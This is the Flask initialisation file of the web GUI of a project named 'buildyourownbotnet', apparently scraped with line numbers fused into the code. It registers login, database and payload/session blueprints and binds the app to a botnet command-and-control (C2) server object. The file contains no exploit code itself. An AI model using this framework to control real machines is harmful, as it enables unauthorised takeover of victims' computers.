Path: blob/master/web-gui/buildyourownbotnet/__init__.py
1292 views
import os, sys1from flask import Flask23# import configs4from buildyourownbotnet.config import ProdConfig, TestConfig56# login manager7from flask_login import LoginManager89# import models and create tables in database10login_manager = LoginManager()11login_manager.login_view = 'users.login'12login_manager.login_message_category = 'info'1314# server and client generator15from buildyourownbotnet import client, server16_debug = bool('--debug' in sys.argv)17c2 = server.C2(debug=_debug)1819def create_app(test=False):20# initialize app and configure global objects21app = Flask(__name__,22static_url_path='/assets',23static_folder='assets',24template_folder='templates')2526# configure app27config = ProdConfig if not test else TestConfig28app.config.from_object(config)2930from buildyourownbotnet.models import db, bcrypt31db.init_app(app)3233with app.app_context():34db.create_all()35bcrypt.init_app(app)36login_manager.init_app(app)3738# import blueprints39from buildyourownbotnet.main.routes import main40from buildyourownbotnet.users.routes import users41from buildyourownbotnet.api.files.routes import files42from buildyourownbotnet.api.session.routes import session43from buildyourownbotnet.api.payload.routes import payload44from buildyourownbotnet.errors.handlers import errors4546# register blueprints47app.register_blueprint(main)48app.register_blueprint(users)49app.register_blueprint(files)50app.register_blueprint(session)51app.register_blueprint(payload)52app.register_blueprint(errors)5354# bind app to server55c2.bind_app(app)5657return app585960